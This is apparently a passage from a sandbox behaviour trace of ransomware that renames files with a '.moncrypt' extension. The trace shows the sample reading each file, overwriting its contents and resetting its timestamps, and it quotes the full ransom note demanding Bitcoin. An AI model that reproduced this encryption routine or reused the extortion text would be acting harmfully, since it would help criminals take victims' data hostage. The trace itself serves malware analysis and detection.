lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0052.079] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0052.079] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.079] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.079] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.079] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.079] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.079] GlobalUnlock (hMem=0x440004) returned 0 [0052.079] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.079] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.079] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.079] GlobalUnlock (hMem=0x440004) returned 0 [0052.079] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.079] GlobalUnlock (hMem=0x44000c) returned 0 [0052.079] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.080] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0052.080] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\JOURNAL\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0052.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.081] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.081] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.081] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.moncrypt")) returned 1 [0052.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.082] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.082] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x47ed [0052.083] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.083] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.085] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.085] GlobalUnlock (hMem=0x440004) returned 0 [0052.085] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.085] GlobalUnlock (hMem=0x440004) returned 0 [0052.085] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.085] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.085] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.085] GlobalUnlock (hMem=0x44000c) returned 0 [0052.085] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.085] GlobalUnlock (hMem=0x440004) returned 0 [0052.086] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.086] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.086] GlobalUnlock (hMem=0x440004) returned 0 [0052.086] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.086] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.086] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.086] GlobalUnlock (hMem=0x440004) returned 0 [0052.086] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.086] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.086] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.086] SetFilePointer (in: hFile=0x18c, lDistanceToMove=18413, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x47ed [0052.086] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.086] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.086] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.098] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.098] CloseHandle (hObject=0x18c) returned 1 [0052.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.099] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.099] CloseHandle (hObject=0x18c) returned 1 [0052.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.099] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.099] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.099] GlobalUnlock (hMem=0x440004) returned 0 [0052.099] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.099] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.099] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.099] GlobalUnlock (hMem=0x440004) returned 0 [0052.099] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.099] GlobalUnlock (hMem=0x44000c) returned 0 [0052.099] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40478d20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40478d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4049ee80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.100] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.100] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.100] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.100] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.100] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.100] CloseHandle (hObject=0x18c) returned 1 [0052.101] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.101] GetLastError () returned 0x12 [0052.101] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.101] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.101] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.101] GlobalUnlock (hMem=0x44000c) returned 0 [0052.101] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.101] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.101] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.101] GlobalUnlock (hMem=0x44000c) returned 0 [0052.101] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.101] GlobalUnlock (hMem=0x440004) returned 0 [0052.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4049ee80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4049ee80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.101] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.101] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.101] GlobalLock (hMem=0x440004) returned 0x550170 [0052.101] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.101] GlobalUnlock (hMem=0x440004) returned 0 [0052.101] GlobalLock (hMem=0x440004) returned 0x550170 [0052.101] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.101] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.101] GlobalUnlock (hMem=0x440004) returned 0 [0052.101] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.102] GlobalUnlock (hMem=0x44000c) returned 0 [0052.102] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.102] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4049ee80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4049ee80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.102] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.102] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.102] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.102] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.102] GlobalUnlock (hMem=0x44000c) returned 0 [0052.102] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.102] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.102] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.102] GlobalUnlock (hMem=0x44000c) returned 0 [0052.102] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.102] GlobalUnlock (hMem=0x440004) returned 0 [0052.102] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.102] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40478d20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40478d20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4049ee80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.102] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.102] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.102] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.102] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.102] GlobalUnlock (hMem=0x440004) returned 0 [0052.102] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.102] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.102] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.102] GlobalUnlock (hMem=0x440004) returned 0 [0052.102] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.102] GlobalUnlock (hMem=0x44000c) returned 0 [0052.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.103] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbaf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM.moncrypt", cAlternateFileName="JOURNA~1.MON")) returned 1 [0052.103] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.103] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.103] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.103] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.103] GlobalUnlock (hMem=0x44000c) returned 0 [0052.103] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.103] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.103] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.103] GlobalUnlock (hMem=0x44000c) returned 0 [0052.103] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.103] GlobalUnlock (hMem=0x440004) returned 0 [0052.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.103] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, 